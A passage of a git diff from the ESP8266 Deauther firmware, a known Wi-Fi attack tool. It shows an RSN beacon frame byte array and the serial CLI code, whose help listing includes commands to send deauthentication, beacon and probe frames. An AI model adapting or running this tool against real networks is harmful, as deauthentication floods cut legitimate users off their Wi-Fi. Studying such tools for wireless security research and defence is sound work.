81 */ 0x03, 0x01, // Channel set, length + /* 82 */ 0x01, // Current Channel + + // RSN information + /* 83 - 84 */ 0x30, 0x18, + /* 85 - 86 */ 0x01, 0x00, + /* 87 - 90 */ 0x00, 0x0f, 0xac, 0x02, + /* 91 - 92 */ 0x02, 0x00, + /* 93 - 100 */ 0x00, 0x0f, 0xac, 0x04, 0x00, 0x0f, 0xac, 0x04, /*Fix: changed 0x02(TKIP) to 0x04(CCMP) is default. WPA2 with TKIP not supported by many devices*/ + /* 101 - 102 */ 0x01, 0x00, + /* 103 - 106 */ 0x00, 0x0f, 0xac, 0x02, + /* 107 - 108 */ 0x00, 0x00 + }; +}; + +#endif // ifndef Attack_h \ No newline at end of file diff --git a/esp8266_deauther/CLI.cpp b/esp8266_deauther/CLI.cpp index a4045da..0647fb6 100644 --- a/esp8266_deauther/CLI.cpp +++ b/esp8266_deauther/CLI.cpp @@ -1,1172 +1,1172 @@ -#include "CLI.h" - -/* - Shitty code used less resources so I will keep this clusterfuck as it is, - but if you're interested I made a library for this: github.com/spacehuhn/SimpleCLI -*/ - -CLI::CLI() { - list = new SimpleList; - queue = new SimpleList; -} - -CLI::~CLI() {} - -void CLI::load() { - checkFile(execPath, String(CLI_DEFAULT_AUTOSTART)); - execFile(execPath); -} - -void CLI::load(String filepath) { - execPath = filepath; - load(); -} - -void CLI::enable() { - enabled = true; - prntln(CLI_SERIAL_ENABLED); -} - -void CLI::disable() { - enabled = true; - prntln(CLI_SERIAL_DISABLED); -} - -void CLI::update() { - // when serial available, read input - if (Serial.available() > 0) { - String input = Serial.readStringUntil('\n'); - exec(input); - } - - // when queue is not empty, delay is off and no scan is active, run it - else if ((queue->size() > 0) && !delayed && !scan.isScanning() && !attack.isRunning()) { - String s = queue->shift(); - exec(s); - } -} - -void CLI::stop() { - queue->clear(); - prntln(CLI_STOPPED_SCRIPT); -} - -void CLI::enableDelay(uint32_t delayTime) { - delayed = true; - this->delayTime = delayTime; - delayStartTime = millis(); -} - -void CLI::exec(String input) { - // quick exit when input is empty - if (input.length() == 0) return; - - // check delay - if (delayed && (millis() - delayStartTime > delayTime)) { - delayed = false; - prntln(CLI_RESUMED); - } - - // when delay is on, add it to queue, else run it - if (delayed) { - queue->add(input); - } else { - runLine(input); - } -} - -void CLI::execFile(String path) { - String input; - - if (readFile(path, input)) { - String tmpLine; - char tmpChar; - - input += '\n'; - - while (!queue->isEmpty()) { - input += queue->shift(); - input += '\n'; - } - - for (int i = 0; i < input.length(); i++) { - tmpChar = input.charAt(i); - - if (tmpChar == '\n') { - queue->add(tmpLine); - tmpLine = String(); - } else { - tmpLine += tmpChar; - } - } - - queue->add(tmpLine); - } -} - -void CLI::error(String message) { - prnt(CLI_ERROR); - prntln(message); -} - -void CLI::parameterError(String parameter) { - prnt(CLI_ERROR_PARAMETER); - prnt(parameter); - prntln(DOUBLEQUOTES); -} - -bool CLI::isInt(String str) { - if (eqls(str, STR_TRUE) || eqls(str, STR_FALSE)) return true; - - for (uint32_t i = 0; i < str.length(); i++) - if (!isDigit(str.charAt(i))) return false; - - return true; -} - -int CLI::toInt(String str) { - if (eqls(str, STR_TRUE)) return 1; - else if (eqls(str, STR_FALSE)) return 0; - else return str.toInt(); -} - -uint32_t CLI::getTime(String time) { - int value = time.toInt(); - - if (value < 0) value = -value; - - if (time.substring(time.length() - 1).equalsIgnoreCase(String(S))) value *= 1000; - else if (time.substring(time.length() - 3).equalsIgnoreCase(str(STR_MIN)) || - (time.charAt(time.length() - 1) == M)) value *= 60000; - return value; -} - -bool CLI::eqlsCMD(int i, const char* keyword) { - return eqls(list->get(i).c_str(), keyword); -} - -void CLI::runLine(String input) { - String tmp; - - for (int i = 0; i < input.length(); i++) { - // when 2 semicolons in a row without a backslash escaping the first - if ((input.charAt(i) == SEMICOLON) && (input.charAt(i + 1) == SEMICOLON) && - (input.charAt(i - 1) != BACKSLASH)) { - runCommand(tmp); - tmp = String(); - i++; - } else { - tmp += input.charAt(i); - } - } - - tmp.replace(BACKSLASH + SEMICOLON + SEMICOLON, SEMICOLON + SEMICOLON); - - if (tmp.length() > 0) runCommand(tmp); -} - -void CLI::runCommand(String input) { - input.replace(String(NEWLINE), String()); - input.replace(String(CARRIAGERETURN), String()); - - list->clear(); - - // parse/split input in list - String tmp; - bool withinQuotes = false; - bool escaped = false; - char c; - - for (uint32_t i = 0; i < input.length() && i < 512; i++) { - c = input.charAt(i); - - // when char is an unescaped - if (!escaped && (c == BACKSLASH)) { - escaped = true; - } - - // (when char is a unescaped space AND it's not within quotes) OR char is \r or \n - else if (((c == SPACE) && !escaped && !withinQuotes) || (c == CARRIAGERETURN) || (c == NEWLINE)) { - // when tmp string isn't empty, add it to the list - if (tmp.length() > 0) { - list->add(tmp); - tmp = String(); // reset tmp string - } - } - - // when char is an unescaped " - else if ((c == DOUBLEQUOTES) && !escaped) { - // update wheter or not the following chars are within quotes or not - withinQuotes = !withinQuotes; - - if ((tmp.length() == 0) && !withinQuotes) tmp += SPACE; // when exiting quotes and tmp string is empty, add - // a space - } - - // add character to tmp string - else { - tmp += c; - escaped = false; - } - } - - // add string if something is left from the loop above - if (tmp.length() > 0) list->add(tmp); - - // stop when input is empty/invalid - if (list->size() == 0) return; - - // print comments - if (list->get(0) == str(CLI_COMMENT)) { - prntln(input); - return; - } - - if (settings.getSerialEcho()) { - // print command - prnt(CLI_INPUT_PREFIX); - prntln(input); - } - - if (list->size() == 0) return; - - // ===== HELP ===== // - if (eqlsCMD(0, CLI_HELP)) { - prntln(CLI_HELP_HEADER); - - prntln(CLI_HELP_HELP); - prntln(CLI_HELP_SCAN); - prntln(CLI_HELP_SHOW); - prntln(CLI_HELP_SELECT); - prntln(CLI_HELP_DESELECT); - prntln(CLI_HELP_SSID_A); - prntln(CLI_HELP_SSID_B); - prntln(CLI_HELP_SSID_C); - prntln(CLI_HELP_NAME_A); - prntln(CLI_HELP_NAME_B); - prntln(CLI_HELP_NAME_C); - prntln(CLI_HELP_SET_NAME); - prntln(CLI_HELP_ENABLE_RANDOM); - prntln(CLI_HELP_DISABLE_RANDOM); - prntln(CLI_HELP_LOAD); - prntln(CLI_HELP_SAVE); - prntln(CLI_HELP_REMOVE_A); - prntln(CLI_HELP_REMOVE_B); - prntln(CLI_HELP_ATTACK); - prntln(CLI_HELP_ATTACK_STATUS); - prntln(CLI_HELP_STOP); - prntln(CLI_HELP_SYSINFO); - prntln(CLI_HELP_CLEAR); - prntln(CLI_HELP_FORMAT); - prntln(CLI_HELP_PRINT); - prntln(CLI_HELP_DELETE); - prntln(CLI_HELP_REPLACE); - prntln(CLI_HELP_COPY); - prntln(CLI_HELP_RENAME); - prntln(CLI_HELP_RUN); - prntln(CLI_HELP_WRITE); - prntln(CLI_HELP_GET); - prntln(CLI_HELP_SET); - prntln(CLI_HELP_RESET); - prntln(CLI_HELP_CHICKEN); - prntln(CLI_HELP_REBOOT); - prntln(CLI_HELP_INFO); - prntln(CLI_HELP_COMMENT); - prntln(CLI_HELP_SEND_DEAUTH); - prntln(CLI_HELP_SEND_BEACON); - prntln(CLI_HELP_SEND_PROBE); - prntln(CLI_HELP_LED_A); - prntln(CLI_HELP_LED_B); - prntln(CLI_HELP_LED_ENABLE); - prntln(CLI_HELP_DRAW); - prntln(CLI_HELP_SCREEN_ON); - prntln(CLI_HELP_SCREEN_MODE); - - prntln(CLI_HELP_FOOTER); - } - - // ===== SCAN ===== // - // scan [] [-t